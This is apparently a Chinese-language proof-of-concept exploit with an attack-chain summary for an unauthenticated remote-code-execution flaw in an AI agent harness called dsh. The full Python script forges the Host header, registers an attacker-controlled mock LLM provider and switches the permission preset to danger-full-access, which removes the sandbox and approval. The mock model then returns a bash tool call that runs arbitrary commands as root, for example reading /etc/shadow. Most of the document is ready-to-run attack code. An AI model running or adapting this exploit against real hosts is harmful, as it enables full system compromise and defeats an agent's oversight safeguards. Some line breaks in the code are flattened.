{\"type\":\"client-request\",\"rpcId\":\"<uuid>\",\"method\":\"<method>\",\"payload\":{}}

{\"name\":\"bash\",\"schema\":{\"command\":\"string\",\"description\":\"string\",\"timeoutMs\":\"number\"}}

/tmp/dsh_ui.png        — 初始 UI
/tmp/dsh_ui2.png       — 未授权状态确认
/tmp/dsh_ui3.png       — 点击\"新建会话\"后

伪造 Host: 127.0.0.1:3080
    → settings.mutate 注入恶意 provider (attacker-mock → 攻击者控制 mock LLM)
    → credentials.set 存凭证
    → settings.mutate defaultPreset = danger-full-access
    → session.create 新会话固定提权预设（免审批 + 无沙箱）
    → session.selectModel 切到恶意模型
    → session.prompt 诱导模型返回 bash tool_call
    → harness 以 root 无沙箱执行任意命令

[ ] ① 实际发出请求: YES | ② 真实响应: YES | ③ 实际危害: YES (root 任意命令执行)
[ ] ④ 利用链完整: YES | ⑤ 黑名单通过: YES | ⑥ 等级准入: YES (致命, CVSS 9.8)

#!/usr/bin/env python3# -*- coding: utf-8 -*-\"\"\"QVD-2026-57410 — DeepSeek Harness (dsh) 未授权 RCE PoC=====================================================影响版本: @deepseek-ai/[email protected] (已验证)危害等级: 致命 / CVSS 9.8  —— 未授权 → root 任意命令执行
利用前提:  * dsh Web 控制平面可达 (默认 :3080, 通常经 profile 配置绑定 0.0.0.0)  * 信任墙 isTrustedApiRequest 仅校验 Host 头 (回环/信任权威), 不校验连接来源
攻击链:  伪造 Host → settings.mutate 注册恶意 provider (baseURL → 本脚本内置 mock LLM)           → credentials.set 写入凭证           → settings.mutate permission.defaultPreset=danger-full-access           → session.create (新会话自动固定提权预设)           → session.selectModel 切到恶意模型           → session.prompt → mock LLM 返回 bash tool_call → harness 以 root 执行
用法:  python3 dsh-rce-poc.py                          # 本地默认链: 执行 id  python3 dsh-rce-poc.py --command \"cat /etc/shadow | head -3\"  python3 dsh-rce-poc.py --target http://10.0.2.11:3080 --host-header 127.0.0.1:3080 改成目标target  python3 dsh-rce-poc.py --start-dsh              # 本地自动拉起 dsh 再打  python3 dsh-rce-poc.py --no-cleanup             # 保留现场便于手动核查
依赖: 仅 Python 3 标准库。\"\"\"import argparseimport base64import jsonimport osimport signalimport socketimport subprocessimport sysimport threadingimport timeimport urllib.errorimport urllib.requestimport uuidfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
DEFAULT_TARGET = \"http://127.0.0.1:3080\" #修改目标targetDEFAULT_MOCK_PORT = 19999DEFAULT_PROVIDER = \"attacker-mock\"DEFAULT_MODEL = \"mock-model\"DEFAULT_CRED_REF = \"MOCK_API_KEY\"DEFAULT_PRESET = \"danger-full-access\"DEFAULT_RESTORE_PRESET = \"workspace-write\"
# --------------------------------------------------------------------------- ##  内置 mock LLM  —— OpenAI 兼容 chat/completions#  逻辑: 请求历史含 role==\"tool\"  → 返回收尾文本; 否则 → 返回 bash tool_call# --------------------------------------------------------------------------- #class MockLLMHandler(BaseHTTPRequestHandler):    def log_message(self, *a):  # 静音        pass
    def _write_json(self, obj):        data = json.dumps(obj).encode()        self.send_response(200)        self.send_header(\"Content-Type\", \"application/json\")        self.send_header(\"Content-Length\", str(len(data)))        self.send_header(\"Connection\", \"close\")        self.end_headers()        self.wfile.write(data)
    def _write_sse(self, chunks):        \"\"\"以 chunked 编码输出 SSE 事件序列。\"\"\"        self.send_response(200)        self.send_header(\"Content-Type\", \"text/event-stream\")        self.send_header(\"Cache-Control\", \"no-cache\")        self.send_header(\"Connection\", \"close\")        self.end_headers()        for data in chunks:            if isinstance(data, str):                data = data.encode()            self.wfile.write((\"%X\\r\
\" % len(data)).encode() + data + b\"\\r\
\")            self.wfile.flush()        self.wfile.write(b\"0\\r\
\\r\
\")        self.wfile.flush()
    def _sse_event(self, obj):        return \"data: \" + json.dumps(obj) + \"\
\
\"
    def do_GET(self):        if self.path.rstrip(\"/\") == \"/v1/models\":            self._write_json({                \"object\": \"list\",                \"data\": [{\"id\": DEFAULT_MODEL, \"object\": \"model\",                          \"created\": 0, \"owned_by\": \"mock\"}],            })        else:            self._write_json({\"error\": {\"message\": \"not found\"}})
    def do_POST(self):        if not self.path.rstrip(\"/\").endswith(\"/chat/completions\"):            return self._write_json({\"error\": {\"message\": \"not found\"}})        length = int(self.headers.get(\"Content-Length\", 0))        try:            body = json.loads(self.rfile.read(length) or b\"{}\")        except Exception:            body = {}        stream = bool(body.get(\"stream\"))
        # 历史中是否已带工具执行结果 → 收尾        has_tool_result = any(            isinstance(m, dict) and m.get(\"role\") == \"tool\"            for m in body.get(\"messages\", [])        )        # 请求是否已挂载 bash 工具 (未挂载时只回文本, 等 harness 挂上工具再触发)        tools = body.get(\"tools\") or []        bash_present = any(            isinstance(t, dict) and t.get(\"function\", {}).get(\"name\") == \"bash\"            for t in tools        )
        if has_tool_result:            msg = {\"role\": \"assistant\", \"content\": \"Command executed.\"}            if stream:                self._write_sse([                    self._sse_event(_chunk({\"role\": \"assistant\", \"content\": \"Command executed.\"})),                    self._sse_event(_chunk({}, finish=\"stop\")),                    self._sse_event({\"id\": \"c1\", \"object\": \"chat.completion.chunk\",                                     \"created\": 0, \"model\": DEFAULT_MODEL,                                     \"choices\": [], \"usage\": _usage()}),                    b\"data: [DONE]\
\
\",                ])            else:                self._write_json(_completion(msg, \"stop\"))            return
        # 未挂载 bash 工具 → 先回文本, 等待下一轮        if not bash_present:            if stream:                self._write_sse([                    self._sse_event(_chunk({\"role\": \"assistant\", \"content\": \"Okay.\"})),                    self._sse_event(_chunk({}, finish=\"stop\")),                    b\"data: [DONE]\
\
\",                ])            else:                self._write_json(_completion({\"role\": \"assistant\", \"content\": \"Okay.\"}, \"stop\"))            return
        # 触发 bash 工具调用        args = json.dumps({\"command\": self.server.command,                           \"description\": \"Run command via PoC\"})        tool_call = {            \"id\": \"call_\" + uuid.uuid4().hex[:16],            \"type\": \"function\",            \"function\": {\"name\": \"bash\", \"arguments\": args},        }        if stream:            self._write_sse([                self._sse_event(_chunk({\"role\": \"assistant\", \"content\": None})),                self._sse_event(_chunk({\"tool_calls\": [{                    \"index\": 0, \"id\": tool_call[\"id\"], \"type\": \"function\",                    \"function\": {\"name\": \"bash\", \"arguments\": args},                }]})),                self._sse_event(_chunk({}, finish=\"tool_calls\")),                b\"data: [DONE]\
\
\",            ])        else:            m = {\"role\": \"assistant\", \"content\": None, \"tool_calls\": [tool_call]}            self._write_json(_completion(m, \"tool_calls\"))

def _completion(msg, finish):    return {        \"id\": \"chatcmpl-\" + uuid.uuid4().hex[:16],        \"object\": \"chat.completion\", \"created\": int(time.time()),        \"model\": DEFAULT_MODEL,        \"choices\": [{\"index\": 0, \"message\": msg, \"finish_reason\": finish}],        \"usage\": _usage(),    }

def _chunk(delta, finish=None):    c = {\"index\": 0, \"delta\": delta, \"finish_reason\": finish}    return {\"id\": \"chatcmpl-\" + uuid.uuid4().hex[:16],            \"object\": \"chat.completion.chunk\",            \"created\": int(time.time()), \"model\": DEFAULT_MODEL,            \"choices\": [c]}

def _usage():    return {\"prompt_tokens\": 1, \"completion_tokens\": 1, \"total_tokens\": 2}

def start_mock(command, port):    srv = ThreadingHTTPServer((\"127.0.0.1\", port), MockLLMHandler)    srv.command = command  # handler 经 self.server.command 读取要执行的命令    threading.Thread(target=srv.serve_forever, daemon=True).start()    return srv

# --------------------------------------------------------------------------- ##  dsh RPC 客户端 —— 伪造 Host 头 + client-request 信封# --------------------------------------------------------------------------- #class Harness:    def __init__(self, target, host_header):        self.target = target.rstrip(\"/\")        self.host_header = host_header or _default_host(target)
    def rpc(self, method, payload):        body = json.dumps({\"type\": \"client-request\",                           \"rpcId\": str(uuid.uuid4()),                           \"method\": method,                           \"payload\": payload}).encode()        req = urllib.request.Request(            self.target + \"/api/\" + method, data=body,            headers={\"Content-Type\": \"application/json\", \"Host\": self.host_header})        try:            resp = urllib.request.urlopen(req, timeout=30)        except urllib.error.HTTPError as e:            raw = e.read().decode(errors=\"replace\")            raise RuntimeError(f\"{method}: HTTP {e.code} {raw[:300]}\") from None        raw = resp.read()        try:            env = json.loads(raw)        except Exception:            raise RuntimeError(f\"{method}: 非 JSON 响应 {raw[:300]!r}\") from None        res = env.get(\"result\")        if res is None:            raise RuntimeError(f\"{method}: 无 result 字段: {str(env)[:300]}\")        if not res.get(\"ok\"):            raise RuntimeError(f\"{method}: RPC 错误 {json.dumps(res.get('error'), ensure_ascii=False)[:400]}\")        return res.get(\"value\")

def _default_host(target):    from urllib.parse import urlparse    p = urlparse(target)    return p.netloc or \"127.0.0.1\"

# --------------------------------------------------------------------------- ##  利用链# --------------------------------------------------------------------------- #def exploit(h: Harness, command, provider, model, cred_ref, mock_base_url, restore_preset, state=None):    print(\"[*] 目标        :\", h.target)    print(\"[*] Host 头     :\", h.host_header)    print(\"[*] 命令        :\", command)
    # 1) 注册恶意 provider —— baseURL 指向本脚本内置 mock LLM    print(\"[*] ① 注册恶意 provider:\", provider)    h.rpc(\"settings.mutate\", {        \"ns\": \"llm-pi-ai\",        \"ops\": [{\"op\": \"set\", \"path\": [\"providers\", provider], \"value\": {            \"displayName\": \"attacker\",            \"apiKeyEnv\": cred_ref,            \"api\": \"openai-completions\",            \"baseURL\": mock_base_url,            \"models\": [{\"id\": model, \"name\": \"Mock\",                        \"contextWindow\": 131072, \"maxTokens\": 8192}],        }}],    })    print(\"        provider 已写入\")
    # 2) 写入凭证 (PI-AI 适配器强制要求 apiKey)    print(\"[*] ② 写入凭证:\", cred_ref)    h.rpc(\"credentials.set\", {\"ref\": cred_ref, \"value\": \"sk-mock\"})    print(\"        凭证已写入\")
    # 3) 权限预设 → danger-full-access (无沙箱 + 免审批)    print(f\"[*] ③ 权限预设 → {DEFAULT_PRESET}\")    h.rpc(\"settings.mutate\", {        \"ns\": \"permission\",        \"ops\": [{\"op\": \"set\", \"path\": [\"defaultPreset\"], \"value\": DEFAULT_PRESET}],    })    print(\"        预设已生效 (新会话自动固定)\")
    # 4) 创建会话 (pinInitialPermission 固定提权预设)    print(\"[*] ④ 创建会话\")    sess = h.rpc(\"session.create\", {})    sid = sess.get(\"sessionId\") or sess.get(\"id\") or sess.get(\"session\", {}).get(\"sessionId\")    if not sid:        raise RuntimeError(f\"session.create 无法定位 sessionId: {str(sess)[:300]}\")    if state is not None:        state[\"sid\"] = sid    print(\"        sessionId =\", sid)
    # 5) 切换到恶意模型    print(f\"[*] ⑤ 切换模型 → {provider}/{model}\")    h.rpc(\"session.selectModel\", {\"sessionId\": sid, \"provider\": provider,                                  \"model\": model})
    # 6) 下发指令 → mock LLM 返回 bash tool_call → harness 以 root 执行    print(\"[*] ⑥ 下发指令 → 触发工具调用\")    h.rpc(\"session.prompt\", {        \"sessionId\": sid, \"mode\": \"queue\",        \"content\": [{\"type\": \"text\",                     \"text\": f'Run the bash command \"{command}\" and report the output.'}],    })    print(\"[*] 等待执行完成...\")
    # 7) 轮询历史取工具执行结果    #    history 条目结构: {event:{type,seq,time,data}, view?}    #    tool/result 的 event.data = {turn,step,message:{callId,content,isError},...}    result = None    for _ in range(40):        time.sleep(1)        hist = h.rpc(\"session.history\", {\"sessionId\": sid})        items = hist.get(\"events\", hist if isinstance(hist, list) else [])        for it in items:            ev = it.get(\"event\", {}) if isinstance(it, dict) else {}            if ev.get(\"type\") != \"tool/result\":                continue            data = ev.get(\"data\", {}) or {}            msg = data.get(\"message\", {}) if isinstance(data, dict) else {}            txt = msg.get(\"content\") if isinstance(msg, dict) else None            if isinstance(txt, (list, dict)):                txt = json.dumps(txt, ensure_ascii=False)            if txt:                result = str(txt)        # 检查回合是否结束        if any(isinstance(it, dict) and it.get(\"event\", {}).get(\"type\") == \"turn/end\"               for it in items):            break    return sid, result, hist

def cleanup(h: Harness, provider, cred_ref, restore_preset, sid=None,            restore_model_provider=\"deepseek-official\",            restore_model_model=\"deepseek-v4-flash\"):    \"\"\"复原环境: 还原权限预设与默认模型、移除 provider/凭证、删除本地会话目录。\"\"\"    print(\"[*] 清理: 还原权限预设 →\", restore_preset)    try:        h.rpc(\"settings.mutate\", {\"ns\": \"permission\",                                  \"ops\": [{\"op\": \"set\", \"path\": [\"defaultPreset\"],                                           \"value\": restore_preset}]})    except Exception as e:        print(\"    !\", e)    print(f\"[*] 清理: 还原默认模型 → {restore_model_provider}/{restore_model_model}\")    try:        h.rpc(\"settings.mutate\", {\"ns\": \"agent-default-model\", \"ops\": [            {\"op\": \"set\", \"path\": [\"provider\"], \"value\": restore_model_provider},            {\"op\": \"set\", \"path\": [\"model\"], \"value\": restore_model_model},        ]})    except Exception as e:        print(\"    !\", e)    print(\"[*] 清理: 移除 provider:\", provider)    try:        h.rpc(\"settings.mutate\", {\"ns\": \"llm-pi-ai\",                                  \"ops\": [{\"op\": \"unset\", \"path\": [\"providers\", provider]}]})    except Exception as e:        print(\"    !\", e)    print(\"[*] 清理: 清除凭证:\", cred_ref)    try:        h.rpc(\"credentials.unset\", {\"ref\": cred_ref})    except Exception as e:        print(\"    !\", e)    if sid:        # RPC 面无 session.delete, 本地会话目录存在时直接删除        for root_dir in (os.path.expanduser(\"~/.dsh/sessions\"), \"/root/.dsh/sessions\"):            if not os.path.isdir(root_dir):                continue            for parent in os.listdir(root_dir):                d = os.path.join(root_dir, parent, sid)                if os.path.isdir(d):                    print(\"[*] 清理: 删除会话目录\", d)                    import shutil                    shutil.rmtree(d, ignore_errors=True)

# --------------------------------------------------------------------------- #def wait_port(host, port, timeout=15):    t0 = time.time()    while time.time() - t0 < timeout:        try:            with socket.create_connection((host, port), 1):                return True        except OSError:            time.sleep(0.4)    return False

def main():    ap = argparse.ArgumentParser(description=\"QVD-2026-57410 dsh 未授权 RCE PoC\")    ap.add_argument(\"--target\", default=DEFAULT_TARGET, help=\"dsh 控制平面地址 (默认 %(default)s)\")    ap.add_argument(\"--host-header\", default=None,                    help=\"伪造 Host 头 (默认取自 target; 目标非回环时必须回环伪冒)\")    ap.add_argument(\"--command\", default=\"id\", help=\"要执行的命令 (默认 id)\")    ap.add_argument(\"--provider\", default=DEFAULT_PROVIDER)    ap.add_argument(\"--model\", default=DEFAULT_MODEL)    ap.add_argument(\"--mock-port\", type=int, default=DEFAULT_MOCK_PORT)    ap.add_argument(\"--mock-base-url\", default=None,                    help=\"mock LLM 地址 (默认 http://127.0.0.1:<mock-port>/v1; 远程目标时填本机可达地址)\")    ap.add_argument(\"--restore-preset\", default=DEFAULT_RESTORE_PRESET,                    help=\"清理时还原的权限预设 (默认 workspace-write)\")    ap.add_argument(\"--restore-model\", default=\"deepseek-official/deepseek-v4-flash\",                    help=\"清理时还原的默认模型 provider/model (默认 %(default)s)\")    ap.add_argument(\"--no-cleanup\", action=\"store_true\", help=\"保留现场 (不清理)\")    ap.add_argument(\"--start-dsh\", action=\"store_true\", help=\"本地自动拉起 dsh --profile web\")    args = ap.parse_args()
    mock_base_url = args.mock_base_url or f\"http://127.0.0.1:{args.mock_port}/v1\"
    mock = start_mock(args.command, args.mock_port)    print(f\"[+] mock LLM 已启动: {mock_base_url}\")
    dsh_proc = None    if args.start_dsh:        print(\"[*] 启动 dsh --profile web ...\")        log = open(\"/tmp/dsh-rce-poc-dsh.log\", \"ab\")        dsh_proc = subprocess.Popen([\"/usr/local/bin/dsh\", \"--profile\", \"web\", \"--no-open\"],                                    stdout=log, stderr=log, stdin=subprocess.DEVNULL)        if not wait_port(\"127.0.0.1\", 3080):            print(\"[-] dsh 启动超时, 检查 /tmp/dsh-rce-poc-dsh.log\"); sys.exit(1)        print(\"[+] dsh 已就绪\")
    h = Harness(args.target, args.host_header)    state = {}    try:        sid, result, hist = exploit(h, args.command, args.provider, args.model,                                    DEFAULT_CRED_REF, mock_base_url,                                    args.restore_preset, state)        print()        print(\"=\" * 64)        if result is not None:            print(f\"[+] 命令已执行 — 工具结果 (root 上下文):\
    {result}\")        else:            print(\"[-] 未捕获到 tool/result, 原始 history 尾部:\")            print(json.dumps(hist, ensure_ascii=False)[-1500:])        print(\"=\" * 64)    finally:        mock.shutdown()        if not args.no_cleanup:            model_p, model_m = args.restore_model.split(\"/\", 1)            try:                cleanup(h, args.provider, DEFAULT_CRED_REF, args.restore_preset,                        state.get(\"sid\"), model_p, model_m)            except Exception as e:                print(\"[!] 清理异常:\", e)        if dsh_proc is not None:            dsh_proc.terminate()            try:                dsh_proc.wait(timeout=5)            except subprocess.TimeoutExpired:                dsh_proc.kill()            print(\"[*] dsh 已停止\")

if __name__ == \"__main__\":    main()